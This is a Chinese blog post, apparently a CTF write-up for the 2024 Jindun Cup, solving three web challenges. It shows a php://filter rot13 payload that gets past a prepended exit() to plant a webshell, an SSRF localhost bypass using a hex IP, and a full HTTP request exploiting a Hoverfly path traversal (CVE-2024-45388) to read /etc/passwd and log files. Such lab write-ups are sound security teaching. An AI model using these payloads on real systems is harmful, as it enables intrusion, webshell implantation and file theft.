lcg
发布于 2024-12-02 / 21 阅读
1
0

2024金盾杯

2024金盾杯

fillllll_put

<?php
highlight_file(__FILE__);
$filename=$_GET['filename'];
if(isset($filename)){
    $content=$_GET['content'];
    file_put_contents($filename,'<?php exit();'.$content);
}

典型的通过<?php exit();来隔绝我们想要上传的一句话木马,这里有两种方法来绕过:

方法一:使用base64编码来绕过,需要考虑到base编码的4位整数问题

方法二:使用rot13编码来绕过

这样就可以rot13编码绕过exit函数,并且执行我们的php代码。

payload为:

?filename=php://filter/write=string.rot13/resource=ssl.php&content=

这里的file_put_content函数会创建ssl.php,访问ssl.php,通过蚁剑链接即可,密码为ssl

找了一下发现flag在/tmp/flag.txt中

ssrf

基础的ssrf,但是试了一下localhost和127.0.0.1发现不可以,这里改进制即可

http://0x7F000001/flag.php

hoverfly

发现是cve-2024-45388漏洞

上网找了一个请求包

POST /api/v2/simulation HTTP/1.1
Host: 127.0.0.1:8888
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8888/dashboard
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 126
Content-Type: application/x-www-form-urlencoded

{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

改动为题目url即可,这里发现post只能完成一次的任意文件读取,改用PUT可以实现不限次数的任意文件读取,

改动=="bodyFile": "../../../../../flag"==,发现回显了一个假的flag,this is not flag,尝试读取日志文件

=="bodyFile": "../../../../../var/log/syslog"给出了flag的位置,==

最终读取flag即可。


评论